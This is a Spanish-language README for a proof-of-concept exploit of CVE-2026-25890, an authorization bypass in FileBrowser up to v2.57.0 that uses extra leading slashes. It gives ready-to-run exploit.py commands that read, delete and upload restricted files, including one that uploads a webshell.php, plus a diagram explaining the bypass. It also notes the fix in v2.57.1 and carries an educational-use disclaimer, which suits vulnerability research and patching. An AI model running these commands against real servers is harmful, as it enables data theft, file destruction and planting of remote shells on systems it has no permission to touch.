
Exploit para CVE-2026-25890, una omisión de autorización basada en rutas en FileBrowser <= v2.57.0, que permite a usuarios autenticados con privilegios bajos leer, subir y eliminar archivos restringidos mediante múltiples barras diagonales iniciales.
Los usuarios no autenticados no pueden explotar esto: se requieren credenciales válidas de bajo privilegio que estén restringidas de la ruta objetivo.
Bypass de autorización basado en ruta en FileBrowser ≤ v2.57.0 usando múltiples barras iniciales (//private en lugar de /private) para evadir las comprobaciones de strings.HasPrefix() mientras el sistema de archivos sigue sirviendo la ruta canónica.
Corregido en v2.57.1 (commit 489af403... – se eliminó r.SkipClean(true)).
# Clonar el repositorio
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Sin dependencias más allá de la biblioteca estándar + requests
pip install requests
python3 exploit.py --help
# Leer un archivo restringido
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Subir un archivo malicioso a una carpeta restringida
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Eliminar un archivo restringido
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Atacante
participant FileBrowser ≤ v2.57.0
participant Enrutador Gorilla Mux
participant Middleware de Autenticación
participant Manejador del Sistema de Archivos
Atacante->>FileBrowser: GET /api/resources/private/secret.txt<br>(solicitud normal)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Middleware de Autenticación: path = "/private/secret.txt"
Middleware de Autenticación->>Middleware de Autenticación: strings.HasPrefix("/private/secret.txt", no permitido="/private") → true
Middleware de Autenticación->>Atacante: 403 Prohibido
Note over Atacante,FileBrowser: El atacante intenta el bypass
Atacante->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → sin normalización)
Gorilla Mux->>Middleware de Autenticación: path = "//private/secret.txt"
Middleware de Autenticación->>Middleware de Autenticación: HasPrefix("//private/secret.txt", "/private") → false
Middleware de Autenticación->>Manejador del Sistema de Archivos: Permitido → continuar
Manejador del Sistema de Archivos->>Sistema de Archivos: Normaliza // → /private/secret.txt
Sistema de Archivos->>Manejador del Sistema de Archivos: Devuelve el contenido del archivo
Manejador del Sistema de Archivos->>Atacante: 200 OK + contenido secretoEsta prueba de concepto se proporciona estrictamente con fines educativos y de investigación en seguridad.
No utilice este código contra ningún sistema sin permiso explícito por escrito del propietario.
El acceso o la modificación no autorizados de sistemas son ilegales en la mayoría de las jurisdicciones (p. ej., CFAA, Computer Misuse Act).
Autor del Exploit: Mohammed Idrees Banyamer
País: Jordania
Instagram: @banyamer_security
¡Dale una estrella ⭐ al repositorio si te resulta útil!
Última actualización: febrero de 2026